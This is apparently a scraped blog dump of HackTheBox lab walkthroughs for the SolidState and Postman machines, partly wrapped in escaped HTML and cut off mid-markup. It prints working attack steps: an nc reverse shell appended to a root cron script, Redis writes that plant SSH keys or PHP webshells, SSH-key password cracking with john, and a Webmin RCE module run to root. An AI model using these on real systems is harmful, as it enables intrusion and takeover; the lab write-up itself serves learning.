Developers\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;help/api-overview.html\u0026#34;\u0026gt;Introduction to CUPS Programming\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;help/api-cups.html\u0026#34;\u0026gt;CUPS API\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;help/api-filter.html\u0026#34;\u0026gt;Filter and Backend Programming\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;help/api-httpipp.html\u0026#34;\u0026gt;HTTP and IPP APIs\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;http://www.cups.org/lists.php?LIST=cups-devel\u0026#34;\u0026gt;Developer Forum\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;footer\u0026#34;\u0026gt;CUPS and the CUPS logo are trademarks of \u0026lt;a href=\u0026#34;http://www.apple.com\u0026#34;\u0026gt;Apple Inc.\u0026lt;/a\u0026gt; Copyright \u0026amp;copy; 2007-2015 Apple Inc. All rights reserved.\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 100 2362 0 0 531k 0 --:--:-- --:--:-- --:--:-- 576k So I wanted to port-forward it to my local machine, using Knownsec\u0026rsquo;s rtcp here\nPort forwarding\nRun on server A: ./rtcp.py c:localhost:631 c:10.10.16.122:630 Run on server B: ./rtcp.py l:630 l:631 This means two ports, 10001 and 10002, are listened on locally, so the two ports can transmit data to each other The forwarding failed, no idea why..\nOn the other hand, msf\u0026rsquo;s built-in privilege escalation modules also gave some results\nmsf5 post(multi/recon/local_exploit_suggester) \u0026gt; run [+] 10.10.10.51 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated. [+] 10.10.10.51 - exploit/linux/local/pkexec: The service is running, but could not be validated. Tried them, all failed.\nI checked a walkthrough — online solutions use nc to directly pop a reverse shell, replacing the contents of tmp.py with a reverse shell and waiting for the scheduled task to run for a direct privilege escalation.\nPrivilege Escalation What I had just obtained was a restricted shell — rbash.\n[+] Users with console james:x:1000:1000:james:/home/james/:/bin/bash mindy:x:1001:1001:mindy:/home/mindy:/bin/rbash root:x:0:0:root:/root:/bin/bash Many commands are unavailable in rbash, and / cannot be used, so I used the linux/smtp/apache_james_exec module to get a full reverse shell; after launching the module, logging in via SSH as the mindy user delivers the shell\nMachine information\n# uname -a Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686 GNU/Linux # cat /etc/issue Debian GNU/Linux 9 \\n \\l So after getting the meterpreter shell, I saw that the /opt/tmp.py file is owned by root, and its contents can be leveraged\n#!/usr/bin/env python import os import sys try: os.system(\u0026#39;rm -r /tmp/* \u0026#39;) except: sys.exit() Append a reverse shell line\necho \u0026#34;os.system(\u0026#39;/bin/nc -e /bin/bash 10.10.16.122 99\u0026#39;)\u0026#34; \u0026gt;\u0026gt; /opt/tmp.py Wait for the scheduled task to fire; with nc listening, root is obtained\nRetrospective In fact, only after I got root did I realize that running crontab -l as the user cannot show root\u0026rsquo;s scheduled tasks. So it\u0026rsquo;s no surprise linpeas.sh found the cron job below. You can only make an educated guess using ps aux together with ls -al \u0026gt;\u0026gt; crontab -l # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use \u0026#39;*\u0026#39; in these fields (for \u0026#39;any\u0026#39;).# # Notice that tasks will be started based on the cron\u0026#39;s system # daemon\u0026#39;s notion of time and timezones. # # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # # For example, you can run a backup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # # For more information see the manual pages of crontab(5) and cron(8) # # m h dom mon dow command */3 * * * * python /opt/tmp.py At first, after adding the reverse shell code to tmp.py, running it directly showed that the shell was not root. It seems Linux permissions follow \u0026ldquo;whoever runs it owns its privileges\u0026rdquo; TRY HARDER reference Common SMTP, POP3, NNTP, FTP, HTTP server commands - SSL Zhi Jia rbash - A Restricted Bash Shell Explained with Practical Examples https://github.com/knownsec/rtcp https://0x00sec.org/t/htb-solidstate-write-up/5129 ","permalink":"https://www.unc.la/en/posts/penetration/uigxel/","summary":"\u003cp\u003e10.10.10.51\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1588846004234-2aecdd42-2279-4c38-96bb-c1c9072be69e.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"information-gathering\"\u003eInformation Gathering\u003c/h1\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cp\u003eA rough scan revealed quite a few ports,\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-http\" data-lang=\"http\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e# nmap 10.10.10.51\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eNmap scan report for 10.10.10.51\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eHost is up (1.0s latency).\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eNot shown: 995 closed ports\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003ePORT    STATE SERVICE\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e22/tcp  open  ssh\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e25/tcp  open  smtp\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e80/tcp  open  http\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e110/tcp open  pop3\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e119/tcp open  nntp\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e# Full port scan\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e## Nmap scan report for 10.10.10.51\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eHost is up (4.8s latency).\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eNot shown: 64192 closed ports, 1337 filtered ports\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003ePORT     STATE SERVICE    VERSION\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e22/tcp   open  tcpwrapped\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e| ssh-hostkey: \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e25/tcp   open  tcpwrapped\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.16.122 [10.10.16.122]), \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e80/tcp   open  tcpwrapped\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|_http-server-header: Apache/2.4.25 (Debian)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|_http-title: Home - Solid State Security\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e110/tcp  open  tcpwrapped\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e119/tcp  open  tcpwrapped\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e4555/tcp open  tcpwrapped\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eNmap done: 1 IP address (1 host up) scanned in 1134.71 seconds\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAn email address was found on the homepage, so let\u0026rsquo;s try brute-forcing it\u003c/p\u003e","title":"HackTheBox: Solidstate Notes"},{"content":"10.10.10.160\nInformation Gathering Nmap # nmap 10.10.10.160 -p22,80,6379,10000 -sV -sC -oA scans/allport.nmap --min-rate 1000 Nmap scan report for postman (10.10.10.160) Host is up (0.72s latency). rDNS record for 10.10.10.160: Postman PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek\u0026#39;s Personal Website 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-server-header: MiniServ/1.910 |_http-title: Site doesn\u0026#39;t have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel The latency from Asia to HTB\u0026rsquo;s European servers is really high. A full-port scan without --min-rate takes more than half an hour, but specifying it causes packet loss, so the full port range keeps getting missed. Frustrating.\nNikto root@localhost:~/HTB/postman# nikto -h https://postman:10000/ -output scans/nikto.txt - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.10.160 + Target Hostname: postman + Target Port: 10000 --------------------------------------------------------------------------- + SSL Info: Subject: /O=Webmin Webserver on Postman/CN=*/emailAddress=root@Postman Ciphers: TLS_AES_256_GCM_SHA384 Issuer: /O=Webmin Webserver on Postman/CN=*/emailAddress=root@Postman --------------------------------------------------------------------------- + Server: MiniServ/1.910 ... Version confirmed as 1.910.\nPort 10000: webmin root@localhost:~/HTB/postman# searchsploit webmin Webmin 1.910 - \u0026#39;Package Updates\u0026#39; Remote Command Execution (Metasploit) | exploits/linux/remote/46984.rb msf5 exploit(linux/http/webmin_packageup_rce) \u0026gt; show info Name: Webmin Package Updates Remote Command Execution Module: exploit/linux/http/webmin_packageup_rce Platform: Unix Arch: cmd Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2019-05-16 Available targets: Id Name -- ---- 0 Webmin \u0026lt;= 1.910 Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes Webmin Password Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax \u0026#39;file:\u0026lt;path\u0026gt;\u0026#39; RPORT 10000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path for Webmin application USERNAME yes Webmin Username VHOST no HTTP server virtual host Payload information: Space: 512 Description: This module exploits an arbitrary command execution vulnerability in Webmin 1.910 and lower versions. Any user authorized to the \u0026#34;Package Updates\u0026#34; module can execute arbitrary commands with root privileges. References: https://cvedetails.com/cve/CVE-2019-12840/ https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html There\u0026rsquo;s an RCE that requires login, and it comes with privilege escalation to root as a bonus. So, let\u0026rsquo;s go find the password.\nRedis -\u0026gt; ssh # First generate a key pair sshkeygen -t rsa (echo -e \u0026#34;\\n\\n\u0026#34;; cat id_rsa.pub; echo -e \u0026#34;\\n\\n\u0026#34;) \u0026gt; key.txt cat /root/.ssh/key.txt | ./redis-cli -h 10.10.10.160 -x set xxx ./redis-cli -h 10.10.10.160 CONFIG SET dir /var/lib/redis/.ssh/ CONFIG SET dbfilename \u0026#34;authorized_keys\u0026#34; save # Connect over ssh ssh -i id_rsa redis@10.10.10.160 One thing to note here: the directory you set must be the .ssh directory under the redis home directory. I initially set the wrong directory, which prevented me from connecting as redis.\nOnce inside via redis, I found id_rsa.bak, which should be matt\u0026rsquo;s private key. The classic approach: crack the password with john, then log in with su.\n# Format conversion python /usr/share/john/ssh2john.py matt.pub \u0026gt; matt2john-pass # Crack the password john matt2john-pass --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 8 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status computer2008 (matt.pub) From the redis user, use su to switch to the Matt user.\nPrivilege Escalation As mentioned earlier with webmin, there\u0026rsquo;s a privilege escalation vulnerability there. So we fill in the credentials, run the msf module, and it\u0026rsquo;s done.\nmsf5 exploit(linux/http/webmin_packageup_rce) \u0026gt; set USERNAME Matt USERNAME =\u0026gt; Matt msf5 exploit(linux/http/webmin_packageup_rce) \u0026gt; set password computer2008 password =\u0026gt; computer2008 msf5 exploit(linux/http/webmin_packageup_rce) \u0026gt; run [*] Started reverse TCP handler on 10.10.16.122:4444 [+] Session cookie: abc6894b84eb41438c578755bb938523 [*] Attempting to execute the payload... [*] Command shell session 1 opened (10.10.16.122:4444 -\u0026gt; 10.10.10.160:32932) at 2020-05-01 10:44:52 +0000 whoami root Summary Cracking an ssh key with john python /usr/share/john/ssh2john.py matt.pub \u0026gt; id_rsa.hash john id_rsa.hash -wordlist=rockyou.txt redis -\u0026gt; ssh sshkeygen -t rsa ... (echo -e \u0026#34;\\n\\n\u0026#34;; cat id_rsa.pub; echo -e \u0026#34;\\n\\n\u0026#34;) \u0026gt; key.txt cat /root/.ssh/key.txt | ./redis-cli -h 10.10.10.160 -x set xxx ./redis-cli -h 10.10.10.160 CONFIG SET dir /var/lib/redis/.ssh/ CONFIG SET dbfilename \u0026#34;authorized_keys\u0026#34; save exit # Connect over ssh ssh -i id_rsa redis@10.10.10.160 At this point, the ssh login passphrase is the password you entered when running sshkeygen -t rsa.\nredis -\u0026gt; webshell config set dir /var/www/html/ # /home/wwwroot/default/ config set dbfilename redis.php set webshell \u0026#34;\u0026lt;?php phpinfo(); ?\u0026gt;\u0026#34; # \u0026#34;\u0026lt;?php eval($_POST[\u0026#39;cmd\u0026#39;]);?\u0026gt;\u0026#34; # \u0026#34;\u0026lt;?php system($_GET[\u0026#39;cmd\u0026#39;]);?\u0026gt;\u0026#34; save references https://xavilok.es/postman/ https://blog.csdn.net/test1988x/article/details/103921210 https://hackso.me/postman-htb-walkthrough/ https://sheerazali.com/postman-writeup-walkthrough-hack-the-box/ ","permalink":"https://www.unc.la/en/posts/penetration/dy790h/","summary":"\u003cp\u003e10.10.10.160\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1588261192914-37ae040d-5300-4835-bfcd-a6f9af841a35.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"information-gathering\"\u003eInformation Gathering\u003c/h1\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e160\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ep22\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e80\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e6379\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e10000\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003esV\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003esC\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eoA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escans\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eallport\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e--min-rate 1000\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eNmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escan\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epostman\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e160\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eHost\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eup\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e72\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elatency\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003erDNS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erecord\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e160\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePostman\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ePORT\u003c/span\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e\u003cspan class=\"k\"\u003eSTATE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSERVICE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eVERSION\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e22\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003essh\u003c/span\u003e\u003cspan class=\"w\"\u003e     \u003c/span\u003e\u003cspan class=\"n\"\u003eOpenSSH\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003ep1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003eubuntu0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprotocol\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003essh\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ehostkey\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"mi\"\u003e2048\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e46\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e83\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ef1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e38\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e61\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ec0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan 